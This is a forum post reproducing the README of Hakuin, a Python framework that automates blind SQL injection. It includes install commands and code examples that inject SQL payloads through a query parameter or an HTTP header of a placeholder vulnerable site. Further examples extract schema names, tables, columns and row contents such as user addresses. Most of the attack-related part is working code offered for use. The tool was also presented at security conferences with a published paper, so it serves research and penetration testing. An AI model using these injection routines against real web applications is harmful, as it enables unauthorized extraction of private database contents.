# Hakuin | A Blazing Fast Blind SQL Injection Optimization And Automation Framework

**URL:** <https://onehack.st/t/hakuin-a-blazing-fast-blind-sql-injection-optimization-and-automation-framework/282867>\
**Category:** Tools & Scripts\
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**Created:** [May 15, 2024, 8:25pm UTC](https://onehack.st/t/hakuin-a-blazing-fast-blind-sql-injection-optimization-and-automation-framework/282867 "2024-05-15T20:25:37Z")\
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**Author:** ![WhiteHat](https://onehack.st/user_avatar/onehack.st/whitehat/32/162514_2.png) [@WhiteHat](https://onehack.st/u/WhiteHat)\
**Post date:** [May 15, 2024, 8:25pm UTC](https://onehack.st/t/hakuin-a-blazing-fast-blind-sql-injection-optimization-and-automation-framework/282867/1 "2024-05-15T20:25:38Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/6/5/653480997e187ab056c9ee7bc865d5c9335a5734.png)

Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more.

Hakuin has been presented at esteemed academic and industrial conferences:

- [BlackHat MEA, Riyadh](https://blackhatmea.com/session/hakuin-injecting-brain-blind-sql-injection), 2023
- [Hack in the Box, Phuket](https://conference.hitb.org/hitbsecconf2023hkt/session/hakuin-injecting-brains-into-blind-sql-injection/), 2023
- [IEEE S&P Workshop on Offsensive Technology (WOOT)](https://wootconference.org/papers/woot23-paper17.pdf), 2023

More information can be found in our [paper](https://github.com/pruzko/hakuin/blob/main/publications/Hakuin_WOOT_23.pdf) and [slides](https://github.com/pruzko/hakuin/blob/main/publications/Hakuin_HITB_23.pdf).

## Installation

To install Hakuin, simply run:

```auto
pip3 install hakuin

```

Developers should install the package locally and set the `-e` flag for editable mode:

```auto
git clone git@github.com:pruzko/hakuin.git
cd hakuin
pip3 install -e .

```

## Examples

Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the `Requester` and override the `request` method. Also, the method must determine whether the query resolved to `True` or `False`.

##### Example 1 - Query Parameter Injection with Status-based Inference

import aiohttp from hakuin import Requester class StatusRequester(Requester): async def request(self, ctx, query): r = await aiohttp.get(f’[http://vuln.com/?n=XXX](http://vuln.com/?n=XXX)" OR ({query}) --') return r.status == 200

##### Example 2 - Header Injection with Content-based Inference

class ContentRequester(Requester): async def request(self, ctx, query): headers = {‘vulnerable-header’: f’xxx" OR ({query}) --‘} r = await aiohttp.get(f’[http://vuln.com/](http://vuln.com/)’, headers=headers) return ‘found’ in await r.text()

To start extracting data, use the `Extractor` class. It requires a `DBMS` object to contruct queries and a `Requester` object to inject them. Hakuin currently supports `SQLite`, `MySQL`, `PSQL` (PostgreSQL), and `MSSQL` (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the `DBMS` interface defined in `hakuin/dbms/DBMS.py`.

##### Example 1 - Extracting SQLite/MySQL/PSQL/MSSQL

import asyncio from hakuin import Extractor, Requester from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL class StatusRequester(Requester): … async def main(): # requester: Use this Requester # dbms: Use this DBMS # n\_tasks: Spawns N tasks that extract column rows in parallel ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n\_tasks=1) … if **name** == ‘ **main** ’: asyncio.get\_event\_loop().run\_until\_complete(main())

Now that eveything is set, you can start extracting DB metadata.

##### Example 1 - Extracting DB Schemas

# strategy: # ‘binary’: Use binary search # ‘model’: Use pre-trained model schema\_names = await ext.extract\_schema\_names(strategy=‘model’)

##### Example 2 - Extracting Tables

tables = await ext.extract\_table\_names(strategy=‘model’)

##### Example 3 - Extracting Columns

columns = await ext.extract\_column\_names(table=‘users’, strategy=‘model’)

##### Example 4 - Extracting Tables and Columns Together

metadata = await ext.extract\_meta(strategy=‘model’)

Once you know the structure, you can extract the actual content.

##### Example 1 - Extracting Generic Columns

# text\_strategy: Use this strategy if the column is text res = await ext.extract\_column(table=‘users’, column=‘address’, text\_strategy=‘dynamic’)

##### Example 2 - Extracting Textual Columns

# strategy: # ‘binary’: Use binary search # ‘fivegram’: Use five-gram model # ‘unigram’: Use unigram model # ‘dynamic’: Dynamically identify the best strategy. This setting # also enables opportunistic guessing. res = await ext.extract\_column\_text(table=‘users’, column=‘address’, strategy=‘dynamic’)

##### Example 3 - Extracting Integer Columns

res = await ext.extract\_column\_int(table=‘users’, column=‘id’)

##### Example 4 - Extracting Float Columns

res = await ext.extract\_column\_float(table=‘products’, column=‘price’)

##### Example 5 - Extracting Blob (Binary Data) Columns

res = await ext.extract\_column\_blob(table=‘users’, column=‘id’)

More examples can be found in the `tests` directory.

## Using Hakuin from the Command Line

Hakuin comes with a simple wrapper tool, `hk.py`, that allows you to use Hakuin’s basic functionality directly from the command line. To find out more, run:

```auto
python3 hk.py -h

```

## For Researchers

This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the [frozen version](https://zenodo.org/record/7804243) as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.

#### Cite Hakuin

```auto
@inproceedings{hakuin_bsqli,
  title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
  author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
  booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
  pages={384--393},
  year={2023},
  organization={IEEE}
}

```

## GitHub:

> **[GitHub - pruzko/hakuin: A blazing fast and fully configurable Blind SQL...](https://github.com/pruzko/hakuin)**
>
> A blazing fast and fully configurable Blind SQL Injection optimization and automation framework.
